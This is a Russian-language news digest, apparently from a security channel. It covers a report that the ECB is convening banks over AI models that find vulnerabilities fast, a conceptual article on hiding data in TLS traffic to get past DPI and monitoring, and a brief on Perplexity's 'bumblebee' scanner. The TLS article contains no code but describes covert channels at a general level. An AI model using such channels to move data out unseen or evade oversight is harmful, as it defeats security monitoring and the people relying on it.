P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов. 

ЕЦБ экстренно собирает банки из-за ИИ, ломающего защиту за минуты

Европейский центробанк срочно созывает совещание с крупнейшими финансовыми институтами. Причина — появление ИИ-моделей, способных находить критические уязвимости в инфраструктуре быстрее, чем банки успевают их закрывать.

По информации Financial Times, регулятор обеспокоен новым поколением моделей вроде Claude Mythos, которые демонстрируют качественно иной уровень работы с кодом и системной архитектурой. Если раньше поиск 0-day уязвимостей требовал недель ручного аудита, то теперь ИИ справляется за минуты.

Проблема в асимметрии: атакующие получают инструмент, который работает круглосуточно и масштабируется линейно, а защитники остаются с теми же процессами патчинга и тестирования. Когда уязвимость находится быстрее, чем выкатывается обновление, классическая модель безопасности ломается.

Для банковского сектора это критично. Финансовые системы строились десятилетиями, технический долг огромен, а миграция на новые стеки занимает годы. Многие core-системы всё ещё на COBOL и Java 8, где каждое изменение требует согласований и регрессионного тестирования. Скорость реакции физически не поспевает за скоростью обнаружения.

ЕЦБ, судя по всему, хочет понять масштаб угрозы и выработать общие меры. Возможные направления: ужесточение требований к мониторингу, обязательное использование runtime-защиты, пересмотр SLA на патчинг критических уязвимостей. Но главный вопрос остаётся открытым — можно ли вообще защищаться традиционными методами, когда противник на порядок быстрее.

Банкам придётся либо резко ускорять DevSecOps-процессы и автоматизировать весь цикл от обнаружения до деплоя фикса, либо переходить на архитектуры с изоляцией по умолчанию, где эксплуатация одной уязвимости не даёт доступа ко всей инфраструктуре. Оба варианта требуют серьёзных инвестиций и изменения культуры разработки.

Гонка вооружений в кибербезопасности перешла в новую фазу, где время реакции измеряется уже не днями, а часами. Регуляторы это осознали. Вопрос, успеют ли за ними сами банки.

Прятать данные в TLS-трафике: как выглядит настоящий стелс

Больше 70% интернет-трафика — зашифрованный TLS. Это не баг, это фича: тонны HTTPS-соединений, WebSocket-потоков, мобильных приложений и игровых клиентов создают идеальный фон для передачи данных без привлечения внимания.

Идея простая: если нужно спрятать дерево, прячь его в лесу. В случае интернета этот лес состоит из миллионов TCP/443-соединений, которые выглядят настолько обычно, что именно это делает их интересной средой для экспериментов.

Почему TLS-трафик — удобная маскировка

TLS скрывает содержимое пакетов. DPI может видеть метаданные — размер, timing, SNI в Client Hello, но не payload. Если ваше соединение выглядит как обычный HTTPS-запрос или долгоживущий WebSocket, оно сливается с фоном.

Практическая сторона: можно передавать данные внутри легитимных TLS-сессий, используя существующие протоколы как транспорт. Это не новая идея — стеганография в сетевых протоколах обсуждается десятилетиями, но TLS даёт дополнительный слой: шифрование на уровне протокола скрывает структуру payload от внешнего наблюдателя.

Где это может быть полезно

• Обход блокировок в странах с жёстким DPI — если трафик неотличим от обычного HTTPS, его сложнее фильтровать

• Распределённое хранилище данных в трафике — архивные данные можно держать не на диске, а в виде пакетов, циркулирующих между нодами

• Covert channels для исследований в области безопасности — тестирование систем мониторинга и обнаружения аномалий

Технические ограничения и риски

Главное ограничение — timing и packet size analysis. Если трафик выглядит нетипично по объёму или интервалам, статистические методы могут его вычислить. Traffic shaping помогает, но не решает проблему полностью.

Второе — легитимность. Если используешь чужую инфраструктуру или протоколы без согласия провайдера, это может нарушать ToS. В корпоративной среде такие эксперименты быстро привлекут внимание security-команды.

Третье — надёжность. Пакеты теряются, соединения рвутся, данные нужно восстанавливать. Без механизмов коррекции ошибок и redundancy хранилище в трафике превращается в лотерею.

В итоге: технически возможно, но требует продуманной архитектуры, понимания сетевых протоколов и готовности к тому, что решение будет хрупким. Как proof-of-concept — интересно. Как production-инструмент — сомнительно.

Представлен открытый ИБ-проект bumblebee от команды Perplexity для защиты ПК на Linux и macOS:

• проверяет файлы, установочные сборки, библиотеки, фреймворки

• сканирует пакетные менеджеры, плагины для IDE, браузерные расширения, конфиги Claude, Cursor, Coder и других ИИ‑инструментов.

• сканирует метаданные.